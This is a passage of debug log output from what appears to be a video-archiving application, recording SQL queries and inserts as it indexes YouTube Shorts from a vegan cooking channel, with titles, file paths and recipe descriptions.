idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:48.596 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [598] 20:26:48.596 [debug] Current batch of media processed. Will check again in 1000ms 20:26:49.597 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts/Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts [tnYSoma9bcs].NA", "id" => "tnYSoma9bcs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tnYSoma9bcs", "playlist_index" => 210, "timestamp" => 1666804951, "title" => "Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts", "upload_date" => "20221026"} 20:26:49.598 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:49.599 [debug] QUERY OK source="sources" db=0.5ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:49.602 [debug] QUERY OK source="media_items" db=2.4ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-26 17:22:31Z], 1] 20:26:49.603 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts", "5be5d211-3daf-42a8-b9e0-ac2a5f9110f2", 1, [], 12, false, "tnYSoma9bcs", "https://www.youtube.com/shorts/tnYSoma9bcs", 210, "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts/Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts [tnYSoma9bcs].NA", false, false, true, 1, ~U[2022-10-26 17:22:31Z], ~U[2026-03-22 03:26:49Z], ~U[2026-03-22 03:26:49Z], "", "Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts", 1, 12, false, "tnYSoma9bcs", "https://www.youtube.com/shorts/tnYSoma9bcs", "/downloads/downloads/alec/Steamy Vegan/2022-10-26 Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts/Everyone needs to know how to quick pickle jalapeños! #youtubeshorts #shorts [tnYSoma9bcs].NA", true, ~U[2022-10-26 17:22:31Z]] 20:26:49.604 [debug] QUERY OK source="sources" db=0.5ms idle=496.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:49.604 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.2ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:49.605 [debug] QUERY OK source="media_items" db=0.7ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [599] 20:26:49.606 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We've got 8 Milky Awards to hand out to the best non-dairy vegan milks on the market. Come check out this plant based milk review and taste test awards show live on the channel or click the link here: https://youtube.com/shorts/uYJudfzuwPA?feature=share", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-26 The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts/The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts [rx465lsWgQI].NA", "id" => "rx465lsWgQI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/rx465lsWgQI", "playlist_index" => 211, "timestamp" => 1666801500, "title" => "The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts", "upload_date" => "20221026"} 20:26:49.607 [debug] QUERY OK source="sources" db=1.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:49.608 [debug] QUERY OK source="sources" db=0.5ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:49.610 [debug] QUERY OK source="media_items" db=2.2ms idle=4.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-26 16:25:00Z], 1] 20:26:49.613 [debug] QUERY OK source="media_items" db=1.5ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've got 8 Milky Awards to hand out to the best non-dairy vegan milks on the market. Come check out this plant based milk review and taste test awards show live on the channel or click the link here: https://youtube.com/shorts/uYJudfzuwPA?feature=share", "The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts", "87c78ee6-55a0-4551-a957-6aeddafaee78", 1, [], 15, false, "rx465lsWgQI", "https://www.youtube.com/shorts/rx465lsWgQI", 211, "/downloads/downloads/alec/Steamy Vegan/2022-10-26 The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts/The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts [rx465lsWgQI].NA", false, false, true, 2, ~U[2022-10-26 16:25:00Z], ~U[2026-03-22 03:26:49Z], ~U[2026-03-22 03:26:49Z], "We've got 8 Milky Awards to hand out to the best non-dairy vegan milks on the market. Come check out this plant based milk review and taste test awards show live on the channel or click the link here: https://youtube.com/shorts/uYJudfzuwPA?feature=share", "The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts", 1, 15, false, "rx465lsWgQI", "https://www.youtube.com/shorts/rx465lsWgQI", "/downloads/downloads/alec/Steamy Vegan/2022-10-26 The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts/The Milky Awards 🏆 Which Plant Based Milks are the Best? #shorts #youtubeshorts [rx465lsWgQI].NA", true, ~U[2022-10-26 16:25:00Z]] 20:26:49.615 [debug] QUERY OK source="sources" db=1.2ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:49.616 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.4ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:49.618 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=8.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [600] 20:26:49.618 [debug] Current batch of media processed. Will check again in 1000ms 20:26:50.619 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/beet-turmeric-ginger-soup/\n\nThis Instant Pot Beet, Turmeric & Ginger Soup not only looks gorgeous, but will have you glowing from the inside out with it’s hearty immune-boosting ingredients! Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nWhen I was recently trying to fight off a cold, I wanted to make a soup that was packed full of immune-boosting, anti-inflammatory and deeply nourishing ingredients. Enter beets for their high levels of antioxidants, turmeric for it’s anti-inflammatory and immune boosting properties, and lots of ginger for spice and digestion-aiding goodness. This soup is seriously so good — it’s a perfect combo of naturally spicy, sweet and slightly earthy.\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn #wfpb", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts/cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts [-KO2L61HJPE].NA", "id" => "-KO2L61HJPE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/-KO2L61HJPE", "playlist_index" => 212, "timestamp" => 1666739700, "title" => "cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts", "upload_date" => "20221025"} 20:26:50.620 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1006.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:50.621 [debug] QUERY OK source="sources" db=0.2ms idle=1006.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:50.623 [debug] QUERY OK source="media_items" db=1.6ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-25 23:15:00Z], 1] 20:26:50.627 [debug] QUERY OK source="media_items" db=3.5ms idle=1005.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/beet-turmeric-ginger-soup/\n\nThis Instant Pot Beet, Turmeric & Ginger Soup not only looks gorgeous, but will have you glowing from the inside out with it’s hearty immune-boosting ingredients! Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nWhen I was recently trying to fight off a cold, I wanted to make a soup that was packed full of immune-boosting, anti-inflammatory and deeply nourishing ingredients. Enter beets for their high levels of antioxidants, turmeric for it’s anti-inflammatory and immune boosting properties, and lots of ginger for spice and digestion-aiding goodness. This soup is seriously so good — it’s a perfect combo of naturally spicy, sweet and slightly earthy.\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn #wfpb", "cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts", "0334d4c8-748f-4bbc-a9c7-60771579e26f", 1, [], 59, false, "-KO2L61HJPE", "https://www.youtube.com/shorts/-KO2L61HJPE", 212, "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts/cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts [-KO2L61HJPE].NA", false, false, true, 1, ~U[2022-10-25 23:15:00Z], ~U[2026-03-22 03:26:50Z], ~U[2026-03-22 03:26:50Z], "FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\nFULL RECIPE BLOG: https://steamyvegankitchen.com/beet-turmeric-ginger-soup/\n\nThis Instant Pot Beet, Turmeric & Ginger Soup not only looks gorgeous, but will have you glowing from the inside out with it’s hearty immune-boosting ingredients! Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nWhen I was recently trying to fight off a cold, I wanted to make a soup that was packed full of immune-boosting, anti-inflammatory and deeply nourishing ingredients. Enter beets for their high levels of antioxidants, turmeric for it’s anti-inflammatory and immune boosting properties, and lots of ginger for spice and digestion-aiding goodness. This soup is seriously so good — it’s a perfect combo of naturally spicy, sweet and slightly earthy.\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn #wfpb", "cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts", 1, 59, false, "-KO2L61HJPE", "https://www.youtube.com/shorts/-KO2L61HJPE", "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts/cozy soups to make in your instant pot — Ep. 2 🍲beet, turmeric & ginger soup #youtubeshorts #shorts [-KO2L61HJPE].NA", true, ~U[2022-10-25 23:15:00Z]] 20:26:50.628 [debug] QUERY OK source="sources" db=0.7ms idle=519.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:50.629 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:50.630 [debug] QUERY OK source="media_items" db=0.6ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [601] 20:26:50.630 [debug] Current batch of media processed. Will check again in 1000ms 20:26:51.631 [debug] Current batch of media processed. Will check again in 1000ms 20:26:52.632 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "FULL RECIPE VIDEO: https://youtu.be/hQqQybEApwI\n\n🍲This cozy Instant Pot Rustic Red Potato & Leek Soup puts a spin on a classic cold-weather dish with hearty ingredients, satisfying texture and loads of flavour! 🌱 Vegan, gluten-free, oil-free option and pressure cooker-friendly.\n\nLeeks are an underrated vegetable that I think deserve more appreciation! Their mild onion-y flavour, subtle sweetness and versatility makes them a perfect base for soups, stews and casseroles. Paired up with low-calorie yet hearty red potatoes, which are loaded with fibre, B vitamins, iron and potassium, makes this chunky soup filling yet weight-loss friendly!\n\nSAVE THIS POST FOR LATER! ✔️ and head to my blog STEAMYVEGANKITCHEN dot com for the full recipe 😍 Link in bio, friends 🧡\n\n#steamyvegankitchen #steamyvegan #veganfood #veganfoodshare #plantbased #plantbasedfoodie #plantbasednutrition #eatplants #veganworldshare #easyvegan #vancityvegan #veganfoodlovers #eatmoreplants #veganaf #veganlove #instavegan #vegancommunity #veganfoodlover #whatveganseat #poweredbyplants #newvegan #veganfoodie #vegangirl #veganinstaclub #vegansofig #vegansofinstagram #plantbasedrecipes #veganrecipes #veganlife #veganfoodporn", "duration" => 58, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-10-25 cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts/cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts [lCCXT45Z1l4].NA", "id" => "lCCXT45Z1l4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/lCCXT45Z1l4", "playlist_index" => 213, "timestamp" => 1666711200, "title" => "cozy soups to make in your instant pot — Ep. 1 🍲 rustic potato & leek soup #shorts #youtubeshorts", "upload_date" => "20221025"} 20:26:52.634 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=520.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:52.635 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=50.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:52.637 [debug] QUERY OK source="media_items" db=2.1ms idle=51.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-10-25 15:20:00Z], 1] 20:26:52.639 [debug] QUERY OK source="media_items" db=1.5ms idle=54.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, 